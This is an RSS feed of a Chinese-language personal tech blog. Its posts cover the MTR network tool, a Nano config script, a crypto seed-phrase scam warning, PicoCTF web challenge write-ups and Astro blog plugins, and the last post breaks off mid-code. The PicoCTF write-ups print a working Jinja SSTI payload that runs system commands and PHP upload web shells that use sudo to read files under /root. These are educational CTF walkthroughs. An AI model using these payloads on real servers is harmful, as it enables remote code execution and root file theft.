<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>CHIEN 的技術筆記</title><description>CHIEN (qian) 的個人技術部落格，專注於網路技術、資訊安全、BGP 路由、系統運維及 Linux 相關主題。分享實戰經驗與深度技術文章。</description><link>https://blog.chien.dev</link><item><title>test</title><link>https://blog.chien.dev/posts/test</link><guid isPermaLink="true">https://blog.chien.dev/posts/test</guid><pubDate>Tue, 23 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;::::note
你是一名資工系學生，你coding到早上八點，你決定睡覺了。但是你發現被子有點短，於是不斷的調整被子，可不管怎麼調整，被子總是短一截。你終於明白，讀了資工系，你這被子也就這樣了。
::::&lt;/p&gt;
&lt;h2&gt;test&lt;/h2&gt;
&lt;p&gt;$2+2=4$&lt;br /&gt;
$2^2=4$&lt;/p&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>MTR 網路診斷工具完整教學：Linux 網路追蹤與監控指南</title><link>https://blog.chien.dev/posts/mtr-basic</link><guid isPermaLink="true">https://blog.chien.dev/posts/mtr-basic</guid><description>學習如何使用 MTR  進行 Linux 網路診斷與故障排除。完整介紹 MTR 安裝、基礎用法、進階參數設定，包含 TCP/UDP 測試、結果匯出等實用技巧。</description><pubDate>Wed, 01 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;什麼是 MTR？&lt;/h2&gt;
&lt;p&gt;MTR (My Traceroute) 是一個強大的 Linux 網路診斷工具，它巧妙地結合了 &lt;code&gt;ping&lt;/code&gt; 和 &lt;code&gt;traceroute&lt;/code&gt; 兩大工具的優點。與傳統的 traceroute 只執行一次路由追蹤不同，MTR 會持續監控網路中的每一個路由節點和每一跳 (hop)，提供即時的網路品質數據，幫助您快速診斷網路問題、分析封包遺失和延遲狀況。&lt;/p&gt;
&lt;p&gt;對於網路管理員和系統工程師來說，MTR 是進行網路故障排除的必備工具，能夠清楚呈現從源頭到目標主機之間所有節點的連線狀態。&lt;/p&gt;
&lt;p&gt;印象中好像有看過 WinMTR 之類的酷東東（Windows 版本）&lt;/p&gt;
&lt;p&gt;&lt;s&gt;不是NTR，我第一次聽到這工具的時候聽成ntr&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;我還試著apt-get install ntr -y&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;MTR 安裝教學（Ubuntu/Debian）&lt;/h2&gt;
&lt;p&gt;在 Ubuntu 或 Debian 系統上安裝 MTR 非常簡單，只需要一行指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt-get install mtr -y
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;安裝完成後，就可以立即開始使用 MTR 進行網路診斷了。&lt;/p&gt;
&lt;h2&gt;MTR 基礎使用方法與指令範例&lt;/h2&gt;
&lt;h3&gt;最簡單的用法&lt;/h3&gt;
&lt;p&gt;執行 MTR 最基本的方式就是直接指定目標 IP 或網域：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ mtr 1.1.1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;執行後，您會看到類似下方的輸出畫面。MTR 會即時顯示路由路徑、封包遺失率 (Loss%)、已傳送封包數 (Snt)、最後一次延遲 (Last)、平均延遲 (Avg)、最佳延遲 (Best)、最差延遲 (Wrst) 等詳細的網路診斷資訊。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/1701368029829.png&quot; alt=&quot;MTR 追蹤 1.1.1.1 的執行結果，顯示完整路由路徑與網路品質數據&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;指定 IPv4 或 IPv6 協定&lt;/h3&gt;
&lt;p&gt;您可以使用 &lt;code&gt;-4&lt;/code&gt; 或 &lt;code&gt;-6&lt;/code&gt; 參數來強制 MTR 使用特定的 IP 協定版本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 強制使用 IPv4
mtr 1.1.1.1 -4

# 強制使用 IPv6
mtr cloudflare.com -6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;MTR 使用 IPv4 協定進行網路追蹤&quot; /&gt;
&lt;img src=&quot;images/1701350696338.png&quot; alt=&quot;MTR 使用 IPv6 協定追蹤 Cloudflare 網域&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;同時顯示網域名稱與 IP 位址&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;-b&lt;/code&gt; 參數可以讓 MTR 同時顯示每個節點的網域名稱和 IP 位址，方便識別路由經過的網路設備：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr cloudflare.com -b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/1701350846594.png&quot; alt=&quot;MTR 同時顯示網域名稱與 IP 位址的輸出結果&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;僅顯示 IP 位址（不解析網域名稱）&lt;/h3&gt;
&lt;p&gt;如果您想要加快 MTR 的執行速度，或是只想看 IP 位址，可以使用 &lt;code&gt;-n&lt;/code&gt; 參數跳過 DNS 反向解析：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr -n cloudflare.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/1701350903881.png&quot; alt=&quot;MTR 僅顯示 IP 位址不進行 DNS 解析的輸出&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;設定 Ping 次數上限&lt;/h3&gt;
&lt;p&gt;使用 &lt;code&gt;-c&lt;/code&gt; 參數可以限制 MTR 的 ping 測試次數。當 &lt;code&gt;Snt&lt;/code&gt; 欄位達到指定數字後，MTR 會自動結束並顯示統計結果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr 1.1.1.1 -c 6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這個參數在需要快速測試或自動化腳本中特別有用。&lt;/p&gt;
&lt;h3&gt;MTR 結果匯出與報告生成&lt;/h3&gt;
&lt;h4&gt;將結果匯出為文字檔&lt;/h4&gt;
&lt;p&gt;有時候我們需要將 MTR 的測試結果保存下來，用於報告撰寫、與同事分享或是向老闆呈現網路狀況（或是炫耀直連 Google 的低延遲！）。&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;-r&lt;/code&gt; 參數配合輸出重導向，就能將結果儲存為文字檔：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr 1.1.1.1 -r &amp;gt; owo.txt -c 6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上述指令的意思是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;追蹤到 &lt;code&gt;1.1.1.1&lt;/code&gt; 的路由&lt;/li&gt;
&lt;li&gt;使用報告模式 (&lt;code&gt;-r&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;輸出到當前目錄下的 &lt;code&gt;owo.txt&lt;/code&gt; 檔案&lt;/li&gt;
&lt;li&gt;限制測試 6 次後自動結束 (&lt;code&gt;-c 6&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;匯出後的 &lt;code&gt;owo.txt&lt;/code&gt; 內容範例如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/1701351153761.png&quot; alt=&quot;MTR 匯出的文字報告內容範例&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;使用 TCP 或 UDP 協定進行測試&lt;/h3&gt;
&lt;p&gt;預設情況下，MTR 使用 ICMP 封包進行測試。但某些網路環境可能會封鎖 ICMP，此時您可以改用 TCP 或 UDP 協定：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 使用 TCP 協定
mtr 1.1.1.1 --tcp

# 使用 UDP 協定
mtr 1.1.1.1 --udp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這在診斷防火牆問題或特定協定的網路路徑時非常有用。&lt;/p&gt;
&lt;h3&gt;指定來源 IP 位址&lt;/h3&gt;
&lt;p&gt;如果您的系統有多個網路介面或 IP 位址，可以使用 &lt;code&gt;-a&lt;/code&gt; 參數指定從哪個 IP 發送測試封包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mtr -a &amp;lt;來源IP&amp;gt; 目標主機
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;MTR 使用技巧總結&lt;/h2&gt;
&lt;p&gt;MTR 是網路診斷的瑞士刀，結合了 ping 的持續監控和 traceroute 的路由追蹤功能。掌握 MTR 能讓您：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;快速定位網路問題&lt;/strong&gt;：清楚看到哪個節點出現封包遺失或高延遲&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;持續監控網路品質&lt;/strong&gt;：即時觀察網路狀態變化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成專業報告&lt;/strong&gt;：匯出詳細數據供分析或呈報&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;何時使用 MTR？&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;網站或服務出現間歇性連線問題&lt;/li&gt;
&lt;li&gt;需要追蹤網路封包的完整路徑&lt;/li&gt;
&lt;li&gt;診斷特定節點的網路品質&lt;/li&gt;
&lt;li&gt;比較不同時段的網路狀況&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;MTR vs 其他工具&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;vs Ping&lt;/strong&gt;：MTR 提供完整路由路徑資訊，而不只是終點主機的延遲&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vs Traceroute&lt;/strong&gt;：MTR 持續監控並提供統計數據，traceroute 只執行一次&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vs Pathping (Windows)&lt;/strong&gt;：MTR 在 Linux 環境下更輕量且即時性更好&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;延伸閱讀&lt;/h2&gt;
&lt;p&gt;想了解更多關於 MTR 和網路診斷的知識嗎？推薦以下資源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.gtwang.org/linux/mtr-linux-network-diagnostic-tool/&quot;&gt;MTR：Linux 網路診斷工具使用教學&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/duxing_langzi/article/details/110278793&quot;&gt;Linux MTR 命令使用解释&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>Better Nano: 讓你的 Nano 編輯器更好用 (優化腳本推薦)</title><link>https://blog.chien.dev/posts/better-nano</link><guid isPermaLink="true">https://blog.chien.dev/posts/better-nano</guid><description>介紹 better-nano 優化腳本，為 Nano 提供各種優化，提升使用效率。</description><pubDate>Mon, 06 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言：為什麼需要優化 Nano？&lt;/h2&gt;
&lt;p&gt;對於許多 Linux 使用者和系統管理員來說，&lt;strong&gt;Nano&lt;/strong&gt; 是最常接觸的文字編輯器之一。它輕量、簡單，且幾乎預裝在所有的 Linux 發行版中。然而，預設的 Nano 功能較為陽春，缺乏語法高亮、行號顯示等現代編輯器常見的功能，這在編輯程式碼或設定檔時可能會降低效率。&lt;/p&gt;
&lt;p&gt;這篇文章要介紹一個由 &lt;a href=&quot;https://www.osga.lol/&quot;&gt;OsGa&lt;/a&gt; 開發的 &lt;strong&gt;better-nano&lt;/strong&gt; 優化腳本，它能一鍵升級你的 Nano 使用體驗。&lt;/p&gt;
&lt;h2&gt;Better Nano 的主要功能&lt;/h2&gt;
&lt;p&gt;這個腳本主要針對以下幾個方面進行優化：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;外觀優化 (Interface)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;開啟 &lt;strong&gt;語法高亮 (Syntax Highlighting)&lt;/strong&gt;：讓程式碼和設定檔更易於閱讀。&lt;/li&gt;
&lt;li&gt;顯示 &lt;strong&gt;行號 (Line Numbers)&lt;/strong&gt;：方便除錯和定位特定行數。&lt;/li&gt;
&lt;li&gt;改善狀態列資訊。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;效能與操作 (Performance &amp;amp; Usability)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;啟用 &lt;strong&gt;滑鼠支援&lt;/strong&gt;：允許使用滑鼠游標移動插入點（視終端機支援而定）。&lt;/li&gt;
&lt;li&gt;優化縮排設定 (Tab/Space)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;快捷鍵優化 (Keybindings)&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;調整部分快捷鍵以符合現代操作習慣（具體細節視腳本版本而定）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;如何安裝&lt;/h2&gt;
&lt;p&gt;安裝過程非常簡單，只需要一行指令即可完成。&lt;/p&gt;
&lt;h3&gt;步驟 1：取得腳本&lt;/h3&gt;
&lt;p&gt;你可以前往 GitHub 專案頁面查看詳細資訊：
&lt;a href=&quot;https://github.com/osga24/better_nano&quot;&gt;👉 前往 GitHub: osga24/better_nano&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;步驟 2：執行安裝&lt;/h3&gt;
&lt;p&gt;通常這類腳本會需要 &lt;code&gt;git&lt;/code&gt; clone 下來後執行安裝檔。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/osga24/better_nano.git
cd better_nano
chmod +x install.sh
./install.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;注意事項&lt;/strong&gt;：
執行此腳本可能會要求輸入 &lt;code&gt;sudo&lt;/code&gt; 密碼，因為它需要修改系統層級或使用者層級的 Nano 設定檔（如 &lt;code&gt;/etc/nanorc&lt;/code&gt; 或 &lt;code&gt;~/.nanorc&lt;/code&gt;）。請確保你信任來源程式碼再執行。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;結語&lt;/h2&gt;
&lt;p&gt;透過 &lt;strong&gt;better-nano&lt;/strong&gt;，你可以保留 Nano 的輕量優勢，同時獲得接近 IDE 的視覺體驗。如果你是 Vim 或 Emacs 的苦手，但又需要比預設 Nano 更強大的功能，這個腳本絕對值得一試。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;感謝 &lt;a href=&quot;https://www.osga.lol/&quot;&gt;OsGa&lt;/a&gt; 開發此工具。&lt;/em&gt;
||請不要扁我||&lt;/p&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>有人自己洩漏註記詞?</title><link>https://blog.chien.dev/posts/seed-phrase-leakage-scam</link><guid isPermaLink="true">https://blog.chien.dev/posts/seed-phrase-leakage-scam</guid><description>網路上有人說說不玩了要送註記詞跟USDT，或是不小心露出注記詞??</description><pubDate>Sat, 19 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;自己洩漏註記詞?&lt;/h2&gt;
&lt;p&gt;有時候會在一些社交平台看到，有人發文說不完合約或是crypto了，剩下1000U或是幾百說要送人，又或者是說不知道怎麼轉移USDT到幣安、OKX等交易所，想請你幫忙
這時候你可能會想說，這白癡是不是自己洩漏了註記詞，或是私鑰，然後想要把錢轉移出去，但是不知道怎麼操作，所以才會發文求助，但是&lt;/p&gt;
&lt;p&gt;:::rabbit
當你想把錢轉出去時，你才是真正的白癡
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./image/1.jpg&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;./image/3.jpg&quot; alt=&quot;image&quot; /&gt;
但是但是當你要轉USDT出去時你會發現他說Gas Fee不夠需要先支付一點trx進錢包，當你把錢轉入之後他會馬上轉走就算你動作再快也沒有用，因為通常會有多簽或是智能合約。&lt;/p&gt;
&lt;h2&gt;原理&lt;/h2&gt;
&lt;p&gt;他可能使用了多簽功能，多簽功能是指一個錢包需要進行交易或是任何動作時需要多個人或是錢包同意，才可以轉錢或是進行任何動作，這樣可以增加安全性，有許多使用到加密貨幣的大企業或是多個持有者的錢包會使用到&lt;br /&gt;
當你要把錢轉出時會需要一個簽名的動作，這個動作需要支付Gas Fee，但是就算你轉了一點trx進去，你也沒有辦法進行簽名，因為你不是多簽的其中一個持有者，所以你的錢就會被騙走
有時候不一定是多簽，也可能是智能合約。&lt;/p&gt;
&lt;h2&gt;解決方法&lt;/h2&gt;
&lt;p&gt;哭一下被騙了，下次不要再一次&lt;/p&gt;
&lt;h2&gt;結論&lt;/h2&gt;
&lt;p&gt;這是一個弱智小騙局，但是老實說殺傷力也不大，最多就是騙一點Gas Fee，但是如果你真的被騙了，也只能說你自己太貪心了，不過這也是一個提醒，不要隨便洩漏自己的註記詞或是私鑰，不然你的錢真的就會被轉走&lt;br /&gt;
在web3錢包中，記住詞跟私鑰就是你的一切，&lt;strong&gt;請不要給任何人&lt;/strong&gt;不管是你的好友或是你的家人，除非你真的信任他們。&lt;/p&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>PicoCTF Web Exploitation Easy分級解題紀錄</title><link>https://blog.chien.dev/posts/picoctf_easy</link><guid isPermaLink="true">https://blog.chien.dev/posts/picoctf_easy</guid><description>紀錄 PicoCTF Web Exploitation Easy分級的解題過程與心得</description><pubDate>Sat, 19 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;這是拿來放一些解題ㄉ紀錄，慢慢邊做邊寫，因為我好久沒碰了
有些有有些沒有是因為有些我已經解過ㄌ，我也懶得再解一次&lt;/p&gt;
&lt;h2&gt;SSTI1&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;SSTI (Server-Side Template Injection) 是一種網頁應用程式漏洞，當使用者輸入的資料被直接嵌入到伺服器端模板中時，就會發生這種漏洞。這可能導致攻擊者能夠執行任意的程式碼或命令，從而獲取敏感資訊或控制伺服器。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;首先你會看到一個酷酷的網站，有一個輸入框，你會發現不論輸入啥他都會顯示在頁面上，我們可以試試看輸入&lt;code&gt;{{7*7}}&lt;/code&gt;  會得到什麼
&amp;lt;img src=&quot;https://i.imgur.com/mbFg62p.png&quot; width=&quot;300&quot; height=&quot;200&quot; /&amp;gt;
沒錯!一個大大的49，這就是一個SSTI的漏洞，這個漏洞可以讓我們執行python的程式碼，接下來我們可以試試看&lt;code&gt;{{7*7*7*7}}&lt;/code&gt; 會得到什麼
&lt;img src=&quot;https://i.imgur.com/WgLYlaS.png&quot; alt=&quot;image&quot; /&gt;
這時我們已經確定這是一個SSTI的漏洞了，接下來我們可以來點更有趣的東西，他可以執行python的程式碼，因此應該可以執行一些系統命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;id&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/1745082641462.png&quot; alt=&quot;1745082641462&quot; /&gt;
這段程式碼大概的意思是&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;request.application&lt;/code&gt;: 訪問當前Web請求的應用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;__globals__&lt;/code&gt;: 訪問全局命名空間，允許獲取內建函式&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;__import__(&apos;os&apos;)&lt;/code&gt;: 動態導入 os 模塊，這樣就可以使用操作系統相關功能&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;popen(&apos;id&apos;)&lt;/code&gt;: 執行系統命令 id，該命令顯示當前用戶的身份&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;read()&lt;/code&gt;: 讀取命令的輸出結果&lt;br /&gt;
那我們可以把命令改成，ls來看看有沒有什麼驚喜，聽話讓我看看!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;ls&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/1745083019268.png&quot; alt=&quot;1745083019268&quot; /&gt;
最後只要試試看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python
{{request.application.__globals__.__builtins__.__import__(&apos;os&apos;).popen(&apos;cat flag&apos;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我們就會得到flag了!&lt;br /&gt;
picoCTF{||幹嘛，你要自己去試試看阿!還想偷看阿hhhhhhhhhhhhhhh||}&lt;/p&gt;
&lt;h2&gt;Cookie Monster Secret Recipe&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;Cookie &lt;s&gt;小餅乾&lt;/s&gt; 是網站儲存在你瀏覽器中的小型資料，用來記住你的登入狀態、偏好設定或追蹤行為。下次你再訪問網站時，瀏覽器會自動帶上這些資訊，讓網站知道你是誰。
如果 Cookie 使用不當的話，可能會出現資安漏洞或使用者隱私外洩的風險。舉例來說：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;登入資訊可能被竊取：如果沒有設定 HttpOnly，攻擊者就有機會透過跨站腳本攻擊（XSS）偷走使用者的登入 Cookie，冒用身分。&lt;/li&gt;
&lt;li&gt;使用者操作被偽造：若網站沒有防範 CSRF 攻擊，攻擊者可以利用使用者的 Cookie 發出未經授權的操作，例如轉帳或修改帳號資料。&lt;/li&gt;
&lt;li&gt;敏感資料曝光：若在 Cookie 中儲存像是帳號、密碼、信用卡號等敏感資料，可能會被竊取或洩漏，造成重大安全問題。&lt;/li&gt;
&lt;li&gt;跨站追蹤問題：若使用第三方 Cookie，可能被廣告商用來追蹤使用者在不同網站的行為，侵犯個人隱私。&lt;/li&gt;
&lt;li&gt;資料被中途攔截：如果 Cookie 沒有設定 Secure，在未加密的 HTTP 傳輸過程中就可能被攔截。
因此，開發者在設計網站時必須謹慎使用 Cookie，避免成為資安漏洞的來源。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;首先我們看到網站，並且檢查F12-&amp;gt;儲存空間-&amp;gt;Cookies看看裡面有沒有東西，啥都沒有&lt;br /&gt;
&lt;img src=&quot;https://i.imgur.com/cXhhshj.png&quot; alt=&quot;cXhhshj.png&quot; /&gt;
我們可以嘗試登入一下，帳號密碼隨意，哎呀看起來有問題
&lt;img src=&quot;https://i.imgur.com/xc9JLcK.png&quot; alt=&quot;image&quot; /&gt;
我們可以再看一次Cookies，看看有沒有東西
看起來有東西出現!
&lt;img src=&quot;https://i.imgur.com/41r84nI.png&quot; alt=&quot;image&quot; /&gt;
看起來長得有點像是base64編碼的東西，我們可以試試看丟到解碼的網站看看
得到答案啦!
&lt;img src=&quot;https://i.imgur.com/CuDY1CK.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FLAG
&lt;ul&gt;
&lt;li&gt;||picoCTF{自己去試試看啦hahahahahahahahha}||&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;n0s4n1ty 1&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;這個網站有一個上傳檔案的功能，並且會顯示上傳的檔案名稱和路徑。&lt;br /&gt;
有兩個需要注意的地方是未檢查的檔案上傳以及權限設定不當的問題。&lt;br /&gt;
這可能會導致攻擊者能夠上傳惡意檔案，並且執行任意的程式碼或命令，從而獲取敏感資訊或控制伺服器。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;首先我們看到網站可以上傳檔案，先上傳看看一個php檔案看看譨不能傳PNG以外的東西
提示中說要重點針對&lt;code&gt;sudo -l&lt;/code&gt;，那我們就嘗試在php中執行看看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo exec(&apos;sudo -l&apos;);?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上傳之後顯示，讓我們去看看&lt;code&gt;uploads/owo.php&lt;/code&gt;有甚麼東西&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;The file owo.php has been uploaded Path: uploads/owo.php 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/gFTXjB4.png&quot; alt=&quot;image&quot; /&gt;
既然可以執行指令那我們就可以嘗試看看root資料夾下面有沒有什麼驚喜&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo exec(&apos;sudo ls -al /root &apos;);?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再次訪問網站並且去到&lt;code&gt;uploads/owo.php&lt;/code&gt;會顯示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-rw-r--r-- 1 root root 36 Mar 6 03:56 flag.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那我們可以喵喵一下把檔案內容顯示出來!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo exec(&apos;sudo cat /root/flag.txt&apos;);?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;哎呀又找到ㄌ&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FLAG
&lt;ul&gt;
&lt;li&gt;picoCTF{||aaaaaaaaaaa自己去試試看啦||}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;head-dump&lt;/h2&gt;
&lt;h3&gt;Description&lt;/h3&gt;
&lt;p&gt;Heap dump（堆轉儲）是 Java 虛擬機（JVM）在特定時間點的內存快照，常用於診斷內存泄漏和性能問題。然而，若使用不當，可能帶來安全風險&lt;br /&gt;
這個題目的面相會是需要注意獲得授權的人員才可以訪問head dump文件，這個文件包含了系統的內存轉儲，可能會洩漏敏感資訊或機密資料。
這可能會導致攻擊者能夠獲取敏感資訊或控制伺服器。&lt;/p&gt;
&lt;h3&gt;解法&lt;/h3&gt;
&lt;p&gt;首先我們進到網站會先看到這個頁面，題目描述中特別提到API Documentation的文章
&lt;img src=&quot;https://i.imgur.com/ODv3jxu.png&quot; alt=&quot;image&quot; /&gt;
我們會發現 #API Documentation 可以按下去，並且案下去會進入API的頁面
&lt;img src=&quot;https://i.imgur.com/UzVR81I.png&quot; alt=&quot;image&quot; /&gt;
最下方有一個&lt;code&gt;/headdump&lt;/code&gt;點開來看看，並且我們可以嘗試戳戳看API嘗試之後會發現他吐了一個200回應給我們並且可以下載dump出來的檔案
&lt;img src=&quot;https://i.imgur.com/xmal43e.png&quot; alt=&quot;image&quot; /&gt;
接下來只要下載下來用記事本打開，但是有好多看不懂的東西怎辦，沒關係這時候只要使用尋找搜尋&lt;code&gt;picoCTF&lt;/code&gt;就可以找到flag了!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FLAG
&lt;ul&gt;
&lt;li&gt;picoCTF{||自己去試試看啦haskdlfjdisgsdmgzld||}&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>CHIEN (qian)</author></item><item><title>好好的使用你的Blog!</title><link>https://blog.chien.dev/posts/useyourblog</link><guid isPermaLink="true">https://blog.chien.dev/posts/useyourblog</guid><description>紀錄一下我怎麼在astro上胡搞瞎搞</description><pubDate>Sat, 19 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;客製化你的 Astro Blog&lt;/h1&gt;
&lt;p&gt;在用了一陣子的 Astro 之後發現我的模板其實有些功能是我想要但是原本沒有的，因此我就嘗試自己動手修改一些功能，這篇文章就是紀錄以及教學如何客製化你的 Blog。&lt;/p&gt;
&lt;h2&gt;在文章中加入防雷海苔功能&lt;/h2&gt;
&lt;h3&gt;🔧 步驟 1：建立自訂 remark 插件&lt;/h3&gt;
&lt;p&gt;首先，我們需要讓 Markdown 能夠識別 &lt;code&gt;||防雷內容||&lt;/code&gt; 的語法。我們會寫一個簡單的 &lt;code&gt;remark&lt;/code&gt; 插件，將它轉換為 HTML 的 &lt;code&gt;&amp;lt;span class=&quot;spoiler&quot;&amp;gt;防雷內容&amp;lt;/span&amp;gt;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;在你的專案中建立一個檔案，例如：&lt;code&gt;remarkSpoiler.js&lt;/code&gt;（建議放在專案根目錄或 &lt;code&gt;src/plugins/&lt;/code&gt; 目錄中），內容如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { visit } from &apos;unist-util-visit&apos;;

export default function remarkSpoiler() {
  return (tree) =&amp;gt; {
    visit(tree, &apos;text&apos;, (node, index, parent) =&amp;gt; {
      const regex = /\|\|(.+?)\|\|/g;
      const matches = [...node.value.matchAll(regex)];

      if (matches.length &amp;gt; 0) {
        const newNodes = [];
        let lastIndex = 0;

        for (const match of matches) {
          const [fullMatch, spoilerText] = match;
          const matchStart = match.index;
          const matchEnd = matchStart + fullMatch.length;

          if (matchStart &amp;gt; lastIndex) {
            newNodes.push({
              type: &apos;text&apos;,
